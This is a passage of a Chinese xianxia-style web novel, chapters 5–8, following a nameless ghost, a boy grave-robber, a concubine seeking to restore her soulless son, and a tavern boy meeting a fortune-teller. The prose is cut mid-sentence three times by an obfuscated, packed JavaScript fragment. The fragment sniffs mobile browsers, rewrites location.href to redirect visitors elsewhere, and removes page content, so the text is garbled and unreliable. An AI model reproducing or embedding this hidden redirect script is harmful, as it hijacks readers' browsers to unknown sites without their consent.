他发现厌胜有一双明亮的眼睛,但不似春水漾波、玉盘悬空,倒像是刀刃出鞘时,乍现的那抹银亮的寒光。 厌胜平日里冷言冷语,完全没有小孩子那股絮絮叨叨的劲儿,今天却忽然打开了话匣子,说,当初黄泉客要把他卖进秦楼楚馆,他拼了命地求,才求来了开棺的好活计。 “既然是好活计,为什么还要与我做交易?” “江湖上悬赏万两黄金,想要沈昭的尸骨。”厌胜说,“三爷想赚这钱,但我不想开沈昭的棺。” “找他的尸骨?” “嗯,有人想‘复活’沈昭。” 百年前人怕妖、怕鬼,仙者这才劈开四界,哪成想百年后,人却又琢磨起了鬼魂复生之术。 送怨君想,仙者要知道这事儿,准要吐出一口老血。 “沈昭以死换得科举改制,从此庶族人人可读书,人人可做官,”厌胜回忆起来,“我爹也是读书人,在此事后,得以重新踏入学堂。” 沈小郎君的名讳蜚声于世,身旁又常有椿儿来朝夕称颂,这段“英年才俊杀身成仁”的传奇故事,送怨君听了不下百遍。 如此人物,也难怪如今仍被世人牵肠挂肚,竟然引出这荒唐戏码来。 送怨君怜惜道:“这沈小郎君的确是个大好人,如此开棺惹人安宁,确实不……” “好人?哈哈哈!” 厌胜笑得屈身捧腹,过了半晌才缓过来,揩去眼角的笑泪,脸上尽是戏谑:“也不知道爹拿着卖儿卖女的钱去赶考,可否如沈昭那样金榜题名,高中状元!” 送怨君愣住了。 厌胜冷笑道:“我沦落至此,沈昭他凭什么能复生?” 5. 秋坟鬼(四) 送怨君连续几日在云外坡“闹鬼”,本意是想吓退黄泉客,哪成想无心插柳,坐实了沈小郎君被抛尸于此、冤魂显灵的传说,引得周边百姓前来凭吊,满坡哀嚎,口呼“青天”。 曾经的修仙、驭鬼、降妖之宗门,如今化作江湖四大派、八小门,听闻这事后也纷纷奔赴云外坡,争着施展祖宗传下来的武功秘法。 一招一式倒是煞有介事,但比划了半天,连个沈昭的影子都没唤出来。 送怨君躺在树上拍手叫好,权当杂耍看。 今人虽不及先祖得天地造化、仙人指点,但欲证侠道者,必要生就道根仙骨才行——五大经脉浑然天成,方才能容纳灵气运转周天,引动吐故纳新,化气为力。 各派择徒之际,常以镇派仙器验其经脉资质,送怨君却自诩较那些破法宝更胜一筹,只消一眼,便能辨明谁是天生灵脉,谁是肉骨凡胎。 在他眼中,俗子周身萦绕赤光,侠者的五脉则流淌着幽淡的蓝,大概就是传说中的灵气了。 低眼扫过厌胜,他安慰说:“小孩,你虽然毫无根骨,但比那些大侠厉害多了。白日能见鬼?这可是他们祖宗才能做到的事,你少走了二百年弯路。” 厌胜翻了个白眼,并不引以为豪。 近来的云外坡常至后半夜才能消停,不过这天蹊跷,形形色色的人散尽,却仍有一个美妇人在此徘徊,身后还背着个半大的孩子。 送怨君起初以为遇见了鬼魅,因那女子肌肤白胜雪,唇却如绯樱;但细看发现她眼波潋滟,媚意横生,又疑心是什么山精女妖;直到见她三步一跪、九步一叩的虔诚模样,这才确信这是个活生生的人。 她嘴中反复念叨着:“昭儿、昭儿、昭儿……” 送怨君啧啧惋惜:“孤儿寡母的,难道是沈昭欠下的风流债?” 美妇人虽一身素淡装扮,脚上踏着一双上好的云锦履。缂丝白裙上有银线绣成的花鸟暗纹,手中灯笼则是锦缎质地,可见绝非寻常农妇。 怪的是,分明身着华裳,她发髻上的步摇却劣质得很,每走一步,花哨的杂色碎琉璃跟着丁零当啷响起来。 送怨君还想细细再打量,却兀得一滞——他同美妇人背上的男孩对上了眼! 背上的男孩像这妇人,也有一双漂亮眼睛,但流萤般的送怨君映入眸中,却没有半点波光漾开,宛若死水投石。 他是瞎子? 又大不对。 男孩安静得过分,手耷拉在妇人肩头,宛若一尊人形泥塑。 他身上虽有红光,但没有半分生机可言,魂魄似乎早已杳然离去了,徒留这一副空壳在。 躲在柳树后的厌胜倒是心明眼亮:“她在给那孩子叫魂儿。” “叫魂?” 厌胜掉起书袋来:“夜半无月,挑灯持符,九步三叩,唤回游魂。” 他爱看书,但看的不是四书五经,而是三道九流,因此学得人小鬼大。 “这法子有用?” “百年前可能还有用,如今不过是江湖骗子揽金银的由头罢了。” 送怨君了然:“原来这孩子和沈昭同名。” 厌胜戏谑道:“也可能想招沈昭的魂魄入身,白得一状元孩子。” 送怨君抬头望了眼天,估摸着黄泉客马上就要赶来掘坟了,他们要是看见这孤零零的美娇娘,说不准会干出什么恶事来。 他一介翩翩公子鬼,自然路见不平,拔刀相助——抬手熄灭了妇人手中的灯笼。 厌胜鄙夷道:“你就只会这招?” 送怨君说:“本君向来怜香惜玉。” 厌胜嗤笑一声:“少显眼,小心孩子和沈昭的魂儿都抓不到,最后把你抓了。” 月黑风高,有鬼吹灯,哪料并未吓走美妇人,反而让她看到了希望,急切地喊起来:“昭儿!是昭儿吗!” “为母则刚”诚不欺我。 送怨君无奈只能动真格,可无论是摧花还是撼树,美妇人始终执拗不肯离去,只当这是老天对她的考验。 最后还是厌胜出面:“这儿没有你要找的人,快离开。” “你是人还是鬼?”美妇人看向这突然冒出来的小孩,眼睛一亮,呢喃道,“我的昭儿和你一般大,若也能像你这般说话、走路就好了……” 厌胜并没有回答,而是说:“黄泉客马上就要来了,你若不想被卖进怜楼,就赶紧滚。” 怜楼名妓,艳倾天下,美妇人不可能不知道。 但她毫无退缩之意,急切开口:“‘大仙’说我的昭儿就在这里,我再试……” 厌胜打断她:“你想当头牌我不拦着,但你孩子无知无觉的,如果进了怜楼,保不齐……” 腌臢事虽未说出口,但美妇人反应过来,顷刻间脸色煞白。 “听明白了就离开,别再来这里。” 此后过去数月,美妇人果真再也没有来过。 沈昭尸身的悬赏金一日高过一日,来掘尸的人也一日多过一日,有人煽风,有人点火,各蹊跷传闻愈演愈烈,终于惊动了远在帝城的靖帝。 帝怒,将沈昭的姓名从朝册中除去,公然祭拜者、以鬼神惑众乱心者、行巫蛊邪术者,均罚徙流放。 椿儿听到这消息后愤慨不已:“狗皇帝!朝堂群臣面前唯唯诺诺,屁都不敢放一个,对着我死去的夫君倒是硬气极了!” 有鬼附和:“付靖登基这五六年,唯一的功绩便是科举改制,还是沈昭以死殉道才得以推行……” “他付靖做的荒唐事也不止一件了!大焉危矣!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536783|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后得出结论:幸亏他们死的早,不用受这窝囊气。 而活人受气只能憋着,禁令下达后,民间只能噤声,仿佛从未有沈昭这人存在。 这场“死而复生”闹剧似乎也戛然而止了。 如今算来,黄泉客已经在九霄停留了大半年,不过被送怨君搅得只出不进,只得启程去做别的买卖。 在他们临行前一晚,送怨君又去了云外坡。 在不想复活沈昭的这件事上,厌胜这小盗墓贼竟与千里之外的天子达成了共识,如今总算露出一抹笑脸来:“付靖是我见过最好的皇帝。” 送怨君道:“这话对我说就罢了,别说往外说,小心被人打死。” 厌胜心情好极了,哼着小曲儿,说要拿木头雕个像,给送怨君供奉点香火。 他问:“你长什么样子?” 镜中映不出魂魄,送怨君又是个没记忆的,自然不知道。 “鬼娘子们都说我风流倜傥,英俊潇洒……”他想了想,改口道,“算了,你觉得我长什么样,就雕成什么样子罢。” 厌胜问:“万一我雕错了模样,香火供给别的鬼了怎么办?” 送怨君说:“你若有心,老天自然有眼。” 最后厌胜雕出来个嘴歪眼斜的丑东西。 倒不是他故意的,只是从未学过雕木之术,动起手来才知其中艰难,只能歪歪扭扭,将错就错了。 见送怨君一言不发,厌胜狡辩道:“心诚则灵。” 木雕前插上一柱香,袅袅青烟蜿蜒而上,送怨君的火气总算消了下去。 他问:“你们接下来准备去哪儿?” “去云梦洲,三爷要找犀角,据说那玩意儿能见鬼,值钱的很。” “云梦洲是个好地方,捱过寒冬就可以赏到春花了,红艳艳的,美得很。” “你去过?” “生前应该是去过吧,可惜记不清了。” 厌胜忽然问:“你到底是谁?” “生前事不知,死后,众鬼都叫我送怨君,叫‘鬼神君’也是有的。” “偌大个云外坡,就你一只厉鬼,或许你就是那神通广大的沈昭沈小郎君。” 送怨君摇头:“我不是。” “这么笃定?” “肉身虽死,总不至于性情大变吧?我与沈昭可太不一样了。人家满心都是家国大义,我嘛,萍身浪迹,觉得自己开心才是天下一等要事。”他又说,“你快些死,死了就知道我是谁,长什么样子了。” “呸呸呸,少咒我!” “你若暂时死不了,那就等着我投胎转世吧。” “你还能再当人?” “也许呢。” …… 此后,送怨君再没有见过厌胜了。 6. 秋坟鬼(五) 转眼春天快要来了,可寒意料峭,风声依旧如利刃割帛,听得送怨君遍体生寒,许久没有出门溜达。 他窝在官府的房梁上想躲清静,哪料官差们也不想挨冻,于堂中围炉而坐,听炭火噼啪着,闲聊近日的见闻。 话说,有个名叫权无心的奚山派弟子走火入魔,被逐出师门,不料这人竟顺手盗走了已故师兄的头颅,当真是应了这名字,无心! 江湖人围剿而来,他无路可逃,纵身跳下沧浪涯。 又话说,黄泉客前去云梦洲屠戮通天犀,不料偶遇江湖第一大侠赵停云,这位年轻剑客为民除害,一剑封喉二十二贼人。 可惜有零星几个侥幸逃过,但也不敢再出世,同样跳下沧浪涯。 有道是祸害遗千年,沧浪崖底竟有一处深邃洞穴,聚于此处的两路鼠辈狭路相逢,沆瀣一气,竟自立门派“黄泉窟”,不拘出身,不树规矩,以恶行作投名状,广纳天下败类恶徒。 邪功大成的权无心被尊为窟主,门下人则沿用旧名,自称黄泉客。 官差笑道,黄泉贼寇摇身一变成为了魔教邪徒,身价水涨船高,总算用不着咱们出手剿灭了…… 送怨君听了很久,听完后又沉默了很久。 众鬼都想入轮回道,他不想,他无仇怨,无忧虑,觉得这日子虽然无聊,但也算惬意舒坦。 但哪料就算是鬼,在这人世待得久了,总会有牵挂。 如果他转生为人了,此时至少能凑上前问一嘴:谁知道那个叫厌胜的孩子怎么样了? 鬼大人不知何时来到了送怨君身边,说,那孩子或许死得不冤,开开心心投胎去了。 送怨君想了想,的确,还是没消息更好。 没准是了无遗憾地死了,没准还活着,只是跟着躲去了沧浪崖,凭他那早慧的劲儿,甚至还可能成为了什么魔教小少主。 他只是有点可惜,终究没能把这小鬼头收入麾下。 一晃两年过去。 这期间,送怨君将九霄城内的怨鬼都送了个遍,比靖帝还要励精图治。 吃尽纸钱香火,他的鬼术愈发厉害,原本只能吹灯剪芯,辣手摧花,现在却能摆布世间尽数死物。 但修习鬼术倒不是想干一番大事,纯粹是为了有力气行万里路——在九霄待了许久,怨魂送尽,景色看厌,他觉得是时候离开了。 他打算趁着春色将至,一路赏景,一路送怨行善,览遍天地大观。 这第一程预备去云梦洲赏花,赏玩尽兴后再去怜楼里听听曲儿,看看人比花娇的美妓。 椿儿听后艳羡极了,但嘴硬说:“哼,不就是怜楼名妓嘛,我们九霄也有。” “怜楼在九霄开分店了?” 椿儿摇头,拉送怨君到窗边,指着远处山壁上的巨佛石雕:“怜楼最美的娘子在哪儿呢。” 送怨君望去,欲言又止:“你虽为鬼,也该存些敬畏之心——竟敢肖想了无大师?” “什么呀,我说的是住在丹阳寺的婉妃!” 婉妃曾经是怜楼最负艳名的乐妓,靖帝纳其为妃,欲接她进宫,不出意外地遭到群臣反对,他只好在丹阳寺“金屋藏娇”,时不时打着礼佛的名义来与美人幽会。 大焉的皇长子就这么在了无大师眼皮子底下出生了。 龌龊,龌龊至极! 送怨君连连摆手:“这美色我可无福消受,前脚刚踏进丹阳寺,后脚准得被超度。” “不用进寺,婉妃今日会出来的。” “怎么讲?” 椿儿整日听官差们侃大山,鹦鹉学舌道:“付靖登基这么多年,后宫佳丽们皆无所出,婉妃的孩子不仅是长子,还是独苗,一直养在寺里算怎么回事?那些老顽固只能准她入宫喽。” “啧啧,想不到付靖还是个痴情种。” “狗皇帝色欲熏心罢了!这婉妃之前可被誉为天下第一美人呢,”椿儿眼睛忽然一亮,“巧了,天下第二的美人今日也在九霄。” “天下第二?” “你没听说过?万逸门的江行月不仅才貌双全,武功也是数一数二的,”椿儿说,“权无心给江行月下了战书,相约今天比武,也不知比完了没。” 送怨君听到这名字,眉头一皱:“权无心……就是那劳什子黄泉窟主?” 椿儿忙点头:“说起来,江行月可是赵停云的师妹呢,和黄泉窟也算有些新仇旧怨在,权无心保不齐是假借比武之名,来为那帮子孽畜报仇的。” 她说的是两年前云梦洲的那场往事。 送怨君与黄泉客打过交道,一叶知秋,深谙他们的新主人权无心是什么货色。 不过他对赵停云同样没有半分好感,毕竟厌胜可能死在他剑下。 正考虑着要不要去看这“狗咬狗”的比试,却忽然想起权无心邪功大成——谁知道这邪功究竟有多邪?难不成能遇人杀人、遇鬼杀鬼? 送怨君惜命,好不容易攒了如今这许多香火,可不能“香消玉殒”了,当机立断去凑婉妃回宫的热闹。 他美其名曰:放着第一美人不看,何故要去看第二? 他说走就走。 虽不能日行千里,但鬼影一晃,行如疾风,转瞬已站在距离丹阳寺不远的小道上,耳边却仍回荡着椿儿的声音: “你看美人看得仔细点,看看她敷的什么粉,贴的什么花钿——” 抬眼望去,了无大师的石佛像嵌立于山壁之间,其脚下云雾缭绕,隐约露出丹阳寺的一角反宇飞檐。 送怨君沿道上行,临至寺庙门口时,看见了一顶华美的大轿横陈于此。车身雕梁画栋,窗牖以丝绸绮罗作帘幕,珠宝璎珞更是不要钱似的挂满轿身。 可环顾周围却没有守轿之人,不仅车夫,连平日里来往的大小和尚也一并不见踪影。 送怨君想,这不像轿子,倒像是金子做的捕兽笼,专夹窃鼠。 幸好钱财于送怨君无用,他是专程来看美人的。 他走近,正要一探婉妃是否坐于轿中,却忽闻其中传来小孩熟睡的细微鼾声。 恰巧好风来助力,将吹开车帘一小条缝,送怨君歪头望去,果真见着有个美娇娘端坐在车内。 美娇娘乌发如云,发间点金缀翠,身着紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536784|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦金线长裙,三分矜贵,七分妩媚。可惜她以薄纱覆面,隐约能看见肤白,眼媚,细描了一对翠眉。 送怨君瞧着婉妃有些眼熟,细看,发现她袖中正攥着一根杂色碎琉璃步摇。 巧了,几年前在云外坡叫魂的美妇人,头上插的也是这种俗物。 婉妃此时正无声落泪,不知在对谁倾诉:“我那时忽闻噩耗,这才早产,害得昭儿天生无魂,只剩这肉身躯壳……” 听闻这话,送怨君惊愕不已——那日的美妇人竟然是婉妃! 患了离魂症的孩子,难不成正是靖帝的皇长子? 这离奇事大抵是被宫中捂得严实,纵使是神通广大如送怨君也从未听说过。不过捂着也正常,付靖本就不得人心,皇长子无魂无魄的消息要是被天下知晓,保不齐就要家国动荡了。 轿中又有一低哑女声传来,可惜车帘挡着,看不见人的模样:“我能帮你儿续命,让他与常人无异,平安长大。” “可我找了无数术士,试了无数法子,都……” “凡人自然做不到,但我能!”女声打断她后,又微弱下去,“我会让他能跑能跳、能说能笑……” 轿中陷入寂静。 半晌后,婉妃终于开口:“如何续命?” “人有五脉,若能牵脉系魂,便能引灵入命,使游魂重回肉身。” “我从未听过说过这法子。” “世间只有我能做到,我不言,自然无人知晓。” 送怨君低叹一声,既觉得婉妃属实糊涂,总是轻信这些江湖术士的鬼话。同时又心生怜惜,为人父母,病急乱投医也是无奈。 果然,婉妃还是决定一试:“你想要什么?金银、珍宝、还是封官加爵?” “我不要报酬,我要同你做个交换。”那女人说,“我帮了你,你也要帮我。” “帮你做什么?” 女人却并未明说,只是言道:“放心,于你而言,我的事不过是举手之劳。” 这种嘴上说着无欲无求的,往往都是欲壑难填之辈。 送怨君已经笃定轿中的人是个骗子,但婉妃救儿心切,咬咬牙竟还是应下了:“只要你能让昭儿恢复如常,刀山火海,在所不辞。” “一言为定?” “一言为定。” 女人气若游丝:“好,事不宜迟,我这就开始‘牵魂’。” 话毕,轿子内再度沉寂。 透过缝隙,送怨君看到轿内白光骤现,刺目冷冽,洒在婉妃的面纱上。 这是什么邪术? 仙人劈世了百年有余,送怨君在人间游荡这许久,见过的最邪门儿的玩意儿就是自己,还从未见凡人能使用仙家神通或妖魔伎俩。 他好奇得抓心挠肝,正准备偷偷掀开帘子窥看,刚靠近两步,却又顿住了。 耳畔骤起响起重重鬼啸,声如裂帛,直刺心神,似从幽冥涌来! 刹那之间,天地变,阴风起,寒意透魂! 低头,他看见车帘内伸出的一只手扼住了自己。 只听女声从轿内传来:“啊,抓到了。” 7. 仙人之死(一) 奚山顶上又打起来了。 宿鸟被刀剑相击之声惊飞,如墨般泼洒向天际,仿佛在刻意让出这方厮杀之地。 狂风骤起,竹叶摩挲如急雨过境,一道人影身形若飞燕掠空,直上九霄。又一人倏尔现身跃起,数道赤红的剑气紧咬其后,乘风踏竹,追随着前者而去。 他们于竹上缠斗不休,身形早已湮没于交织的剑光中,独留空中一网密不透风的杀阵。 若居奚山最高处的亭台中,一定能将这场打斗尽收眼底,可惜大多数观者只能屈居于山根儿的食铺,挤作一团,瞪着眼睛,看那竹林里上蹿下跳的俩黑点。 奚山之巅非常人可至,它不仅是大焉境内数一数二的仙山,更是江湖四大派之首——奚山派的山门所在。 每逢三秋,各门派的适龄弟子都会齐聚奚山,在山顶竹林上展开层层比试,并谓之“折竹会”。 折竹会名为切磋,实为较量,诸少年皆跃跃欲试,势要赢了其他门派的翘楚,做一回扬名天下的英雄儿郎。 这是奚山派乃至九霄城的一大盛事,不仅是江湖中人,连市井中的闲人散客也闻风而动,汇聚于奚山之下凑热闹。 奚山脚下的店面不少,反正抬头看人都是跳蚤,但大家都来屠二娘的猪脚店——因为这里有千里眼李目坐镇。 千里眼名不虚传,不仅看得远,看得清,说书更是一把好手。 此时他半个身子都快探出窗沿,仰着脖子,正慷慨激昂解说着战况:“哎呦,这夏红不一般呐,刚直击了对方左肩,又立刻来了个回马枪……” 环视猪脚店内,该嗑瓜子的嗑瓜子,该嗦猪脚的嗦猪脚,但无一例外地支棱着耳朵,不敢漏听李目半句话。 店主屠二娘出刀不比山顶二人慢,菜刀利落地劈向煮得软烂的猪蹄,齐齐整整地码在蒸腾的热饭上,最后泼下浓油赤酱的汤汁,顿时香气四溢。 她一甩臂膀,刀顷刻飞回架子上,另一只手掀起帘子,大喊:“小简,给邢大爷端过去!” 屠二娘嗓门固然大,但声音落入吵嚷的店内却激不起波澜,幸好她家的店小二常年受这魔音荼毒,狗耳朵一般灵敏,闻声立刻扔下抹布,小跑去厨房端饭。 端走前不忘撒上满满一把香菜,邢大爷他就好这一口。 李目仍在一惊一乍:“嚯!夏红使出了九玄剑法中的第五剑!好家伙,对方连连后退,招架不住了!要输了——” 山顶嗖得冒出一抹青烟,直奔云霄而去,随后在空中弥散开来。 李目一拍桌子:“今日试剑结束!夏红胜!” 食客们憋了大半局,终于能一舒己见: “夏红不愧是奚山派大师姐,女中豪杰!” “切,连个女的都打不过,丢人!对面哪门哪派?” “也是奚山派的,好像是今年刚入山的小弟子。” “刚入奚山,就能和夏红打得有来有回,不简单呐?” “你们可别小瞧这人,知道他多大吗?约莫着也就十一二岁,我这眼力错不了!”李目抬眸扫过在场众人,信誓旦旦,“今日他败于夏红剑下,但等明日、等明年,且再看去吧!” 满堂哗然。 “他叫什么?” “周肖一!” 店小二在人群中穿梭,半只手遮着碗沿儿,生怕周肖一的名字连带着众人的唾沫星子,一起飞入邢大爷的饭里。 邢大爷见店小二过来,立马指着他问李目:“周肖一,和他一样大?” 李目打量一番:“差不多,嘶,但比他高点、壮点。” 邢大爷闻言,立刻朝庖厨那边扬声道:“二娘,不如送小简去习武,没准过几年,折竹会赏酒也有他的一份儿!” 店小二并未在意,不料刚把猪脚饭放在桌上,就被邢大爷冷不防扣住了脉门,煞有介事地要探查一番。 “哎呦,这小子,能少给我打碎几个碗就谢天谢地了!” 屠二娘嘴上虽然埋怨,却还是从厨房里探出了头,佝偻着那水桶般的粗腰,殷勤喊道:“大爷怎么样,他真能成事儿?” “嘶,这脉三沉九浮,似是有点天赋的,”邢大爷悠悠然啜饮一口酒,尽是故作深沉之色,“就是比我年轻时差些……但勤能补拙嘛。” 屠二娘听了这话,不动声色地翻了个白眼,心里门儿清邢大爷探不出什么慧根来,要不怎么能学了十年武功,最后却跑去官府当衙役呢? “我们家这小本营生,可没闲银子供他去闯什么江湖,”她勉强扯了扯嘴角,将头折回庖厨,“大爷您还是别撺掇他了!” 这样的打趣,店小二听了没有千遍也有百遍,已经习以为常。 他一把挣脱邢大爷的手,抄起抹布便去擦拭起桌案来。 天下少年都有个大侠梦,不过店小二颇有自知之明——自从被屠二娘捡回来后,他的人生就与“跑堂”二字缔下不解之缘了。 屠二娘这寡妇店主向来抠门,从不肯多花半个铜板雇人,自己身兼数职,长此以往竟有了过劳肥的征兆,腰身一年比一年粗。 这自溪流中捞起的半大孩子,在她眼中无异于上天恩赐,白送了个店小二为她分忧。 她始终惦记着改嫁的事,为免误会,给孩子取姓为简,同捡。百姓多仰沈小郎君风骨,常以“昭”为儿女名字,屠二娘不愿费脑子,也给这孩子取名为昭。 不过后来迫于靖帝禁此字,遂改作别称,叫成“流光”。 咸菜就着稀饭,屠二娘把简流光拉扯长大,今年虚岁十二。 孩子瘦弱得像棵豆芽菜,好在常年打杂跑腿,不至于风一吹就倒。但真不是屠二娘黑心,而是简流光吃不了荤腥,干饭时只能猛扒拉烂菜叶子。 屠二娘评价道:“无福之人进了有福之门,白瞎了我满墙挂着的肉肘子。” 众人还在兴致勃勃聊着方才的对局,简流光听不进一个字,佯装擦拭桌上的污垢,眉头却抬着,余光却始终不离坐在门边那个男人。 这人猪脚饭早早吃完,但就是不见走。 这倒不稀奇,稀奇的是他对折竹会毫无兴趣,却足足在店里呆了两炷香的功夫。 像是想吃霸王餐,于是静候时机,欲溜之大吉。 他一身江湖骗子打扮,草鞋蓝袍八字胡,形销骨立,面相清癯。脸上吊着一对细眼,身旁放着一杆布幡,上面书着四联狂草: 测字算命、姻缘配对、紫薇解盘、大师批运。 简流光想,若他给自己卜一卦,大概能得到“命犯天狗,难享饱暖”之类的批语。 这时店内几个食客拌起嘴来,声音越嚷越大,甚至站身来拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536785|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住对方衣领。 周遭人忙去劝架,而这男人跟着站起身来,却以迅雷不及掩耳之势大步往店外走。 果然! 他方迈出店门两步,忽觉衣角一紧,竟被人从后面死死拽住了。 简流光脸上挂着笑容:“客官吃的可还满意?小店概不赊账,您需付七文钱。” “啊?啊!君某人竟忘了付账,真是惭愧,惭愧。” 男人迈不开步伐,只能回头,作恍然大悟状。 他伸手往自己的布兜子里摸去,钱还没掏出来,又慢腾腾地问:“小弟弟,你们这儿猪脚饭怎么七文?我在旁的店家吃的都四五文,可别是黑店吧。” 这人说话真是极难听。若是黑店,你这吃白食的别想活着走出这个门儿。 “平日是五文,但折竹会期间,我们店有‘千里眼’坐镇解说战况,因此价格上调至七文。”简流光耐着性子补充,“门口招牌上有写,客官没注意看吗?” “呵呵,这个还真没注意。”男人的手依旧在兜里掏,“哎,但君某人天生听力残缺,可以算是半聋,那什么千里眼说的,我可一句都没听见……就给我算五文呗。” 简流光怀疑这人连五文都没有,于是伸手说:“行啊,付吧。” 那人支支吾吾:“呃,实不相瞒,君某人……” 话还没说完,只听简流光扯着嗓子朝屋内大喊:“掌柜的,有人想吃霸——王——唔!” “嘘,小祖宗别叫!” 江湖骗子显然没想到简流光声音如此洪亮,快步上前,将他的嘴捂了个严严实实。 到底是个大人,简流光一时竟挣脱不开。 他瞥向店内,显然是没人注意到他的声音,便蚂蚱似的扑腾起来,希望能被看见——那什么千里眼,或者在城里当捕快的邢大爷,怎么这会儿都不顶用! “哎呦,你、你别辱没袁某人名声,谁说我要吃白食了!”男人身上没二两肉,手臂跟麻绳一般粗细,颇为吃力地捆着简流光,“我把手放开,你可千万不准再叫唤了啊?” “唔!唔唔!”简流光哼唧了两声,随后安分下来,但抬头望向这人时依旧执拗,眼睛里有团熠熠的光,活像头不服输的倔牛犊子。 这小子不像是会听话的主儿,但僵持着也不是办法。 男人犹豫片刻后,带着简流光往隐蔽处躲了躲,环顾四周无人,这才试探着轻抬起两根手指。 见他果真没发出动静,便怯怯地松开了掌心,不过又火速落到简流光肩头,压住,使他动弹不得。 简流光同样怕他逃跑,死死拽住这人的破衣衫,想着他若挣脱,必叫他春光乍泄、一泄千里。 他忙呼吸了几口新鲜空气,随后抬眼朝这人说:“吃霸王餐不成,恼羞成怒,竟想拐卖孩童?按大焉律法,五年大牢起步!” 说着,还嫌弃地吐着舌头,呸了几声,又拐着胳膊肘给自己擦了擦嘴。 “你这小子细胳膊细腿的,既卖不了二两肉钱,又炸不出一斤排骨,谁会做这亏本买卖!你、你这是以小人之心度君子之腹!” 男人原要发作,话出口后却咂摸出滋味来,反倒乐不可支:“咿,这谚语颇贴切。你这黄口小儿,毛都没长全呢,就敢妄加揣测我堂堂九重天阁主君子方,可不就是古人所云嘛!” 8. 仙人之死(二) “什么小人之蘑菇、菌子的,净说些怪话,我看你吃菌子吃得头脑发昏了。”简流光不明所以,便只捡了话里认识的几个词来琢磨,“九重天那神仙地方,也长菌子?” 九重天居于大焉之巅,女娲后人蛰居于此,一心问道天命。 女娲后人有观星象、断吉凶的本领,历代阁主更是开了“天眼”,能破虚妄、悟天道、观自在,达到“言之必预”的境界,因此被常称为“仙人口目”。 百余年前,九重天阁主的一笺诗谶直达天子手中,预见黎民倒悬之苦,遂启圣聪。天子悚然惊觉,察觉祸事端倪,使得社稷转危为安。 此事之后,天子赐雅称“君子”于九重天,此后阁内弟子均以此冠其名。 虽然简流光不知道这些事,但九重天长“君子”这话却也歪打正着了。 “你上过私塾没得?”自称君子方的男人气得胡子横飞,“何谓君子?君子行之方正,不忧不惧,处世以诚……” “不听不听,王八念经!”简流光拿手捂着耳朵,反问,“你读的书多,怎么不懂‘吃饭给钱,天经地义’的道理?” “……” 又提起这茬,男人指着自己道:“我可是君子方,堂堂九重天阁主,怎会吃白吃你的!” 这会儿简流光听明白了,他在这儿假装大人物,虚张声势呢。 “敢冒充仙人口目,真是好不要脸,”简流光鄙夷地朝君子方伸出手,“闭嘴,掏钱,滚蛋。你要再扯东扯西的,我真要去叫我们掌柜的了——屠二娘你见过吗?十里八乡出了名的悍妇。” 君子方在店内小坐时,见过这女人剁肉。两把刀在手中旋转,案板上肉汁横飞,活像话本中的那幕“母夜叉孟州道卖人肉”。 “别冲动!我再翻翻……”他顷刻间吓得冷汗直冒,再次把手伸进破布兜里,东摸摸西摸摸,眼睛跟着滴溜溜地转,“嘿,找到了!” 在简流光的注视下,君子方掏出了三个骰子。 君子方说:“你我今日也是有缘,我给你算一卦,以此抵消这七文饭钱,怎么样?” “掌柜——唔!” 还没来得及喊出口,嘴巴又被君子方捂住了。 君子方的食指狠狠压在嘴边,从齿间挤出一声急促的“嘘”,眉头紧锁:“你这小子好不识货,这可是九重天的灵骰,有人花好几锭金子都换不来一掷!” “唔唔!” 君子方见他始终摇头不允,咬咬牙,终于狠下心来:“好吧,我可以破例,以‘天眼’窥伺你毕生机缘!这天眼之卦可是连皇帝小儿都求不来的,你赚翻了。” 他手指略有松动,简流光顺势呲牙咬了他一口,这才换回说话的机会:“我呸,算命这营生最有赚头了,你却瘦成这副鬼样子,饭都吃不起,可见水平有多次!” “你这是以貌取人!” 君子方见和他说不通,强拉着他走近猪脚店,猫着腰往里瞅,一副势要证明自己的架势:“哼,而我恰巧有以貌观命的本领。” 他骷髅似的枯手指向店内,正是下游村落里的种菜的农户:“看这个人,八字官杀溷杂,官场运和人都不好,适合一辈子插秧喂猪。” 指尖换了个方位,是衙门的邢大爷:“红艳煞,多风流,只见新妇笑,不见糟糠哭!真乃克妻命也。” 邢大爷的正妻缠绵病榻,无力去管相公外面的那些风流债,这是整个九霄城都知道的事。 简流光仍将信将疑,不过君子方这次指到了屠二娘:“此女子情感不顺,啧啧,云遮月隐情难明,夫哭妇而妇哭夫,难呐!” 虽然拽文弄墨的,大有故弄玄虚之疑,倒是都说准了。 “怎么样,服不服?”君子方得意洋洋,“我若想看,你的财运、姻缘、流年大限尽在眼前。” 简流光眉峰一挑,俨然一副洗耳恭听的架势。 只见君子方一脸严肃,不疾不徐地开口:“观汝天庭贯月,龙睛凤颈,似有天日之表。然而胎元冲年,父母不全……” “说人话。” 